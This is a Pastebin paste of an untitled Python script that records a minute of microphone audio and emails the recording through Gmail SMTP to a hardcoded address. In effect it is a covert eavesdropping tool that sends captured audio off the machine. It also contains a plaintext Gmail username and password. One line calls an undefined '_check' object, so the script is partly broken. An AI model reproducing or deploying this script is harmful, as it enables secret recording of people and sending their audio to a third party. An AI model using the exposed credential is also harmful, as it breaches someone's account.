Advertisement
Guest User

Untitled

a guest
Apr 2nd, 2016
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. import smtplib
  2. import mimetypes
  3. from email.mime.multipart import MIMEMultipart
  4. from email import encoders
  5. from email.message import Message
  6. from email.mime.audio import MIMEAudio
  7. from email.mime.base import MIMEBase
  8. from email.mime.image import MIMEImage
  9. from email.mime.text import MIMEText
  10. import urllib2
  11. import pyaudio
  12. import wave
  13. import os
  14. import httplib
  15. import urllib2
  16. from time import sleep
  17. import yagmail
  18. import netifaces
  19. import urllib2,thread
  20.  
  21. check = _check()
  22. thread.start_new_thread(check.timer,(None,))
  23. FORMAT = pyaudio.paInt16
  24. CHANNELS = 2
  25. RATE = 24000
  26. CHUNK = 1024
  27. RECORD_SECONDS = 60
  28. WAVE_OUTPUT_FILENAME = "file.wav"
  29. audio = pyaudio.PyAudio()
  30. stream = audio.open(format=FORMAT, channels=CHANNELS,
  31. rate=RATE, input=True,
  32. frames_per_buffer=CHUNK)
  33. frames = []
  34. for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
  35. data = stream.read(CHUNK)
  36. frames.append(data)
  37. # stop Recording
  38. stream.stop_stream()
  39. stream.close()
  40. audio.terminate()
  41. waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
  42. waveFile.setnchannels(CHANNELS)
  43. waveFile.setsampwidth(audio.get_sample_size(FORMAT))
  44. waveFile.setframerate(RATE)
  45. waveFile.writeframes(b''.join(frames))
  46. waveFile.close()
  47. emailfrom = "hi@gmail.com"
  48. emailto = "amitaagarwal565@gmail.com"
  49. fileToSend = "file.wav"
  50. username = "amitaagarwal565@gmail.com"
  51. password = "tuduxglywgiczkjl"
  52.  
  53. msg = MIMEMultipart()
  54. msg["From"] = emailfrom
  55. msg["To"] = emailto
  56. msg["Subject"] = "This is file.wav"
  57. msg.preamble = "This is file.wav"
  58.  
  59. ctype, encoding = mimetypes.guess_type(fileToSend)
  60. if ctype is None or encoding is not None:
  61. ctype = "application/octet-stream"
  62.  
  63. maintype, subtype = ctype.split("/", 1)
  64.  
  65. if maintype == "text":
  66. fp = open(fileToSend)
  67. # Note: we should handle calculating the charset
  68. attachment = MIMEText(fp.read(), _subtype=subtype)
  69. fp.close()
  70. elif maintype == "image":
  71. fp = open(fileToSend, "rb")
  72. attachment = MIMEImage(fp.read(), _subtype=subtype)
  73. fp.close()
  74. elif maintype == "audio":
  75. fp = open(fileToSend, "rb")
  76. attachment = MIMEAudio(fp.read(), _subtype=subtype)
  77. fp.close()
  78. else:
  79. fp = open(fileToSend, "rb")
  80. attachment = MIMEBase(maintype, subtype)
  81. attachment.set_payload(fp.read())
  82. fp.close()
  83. encoders.encode_base64(attachment)
  84. attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
  85. msg.attach(attachment)
  86.  
  87. server = smtplib.SMTP("smtp.gmail.com:587")
  88. server.starttls()
  89. server.login(username,password)
  90. server.sendmail(emailfrom, emailto, msg.as_string())
  91. server.quit()
  92. print "done"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement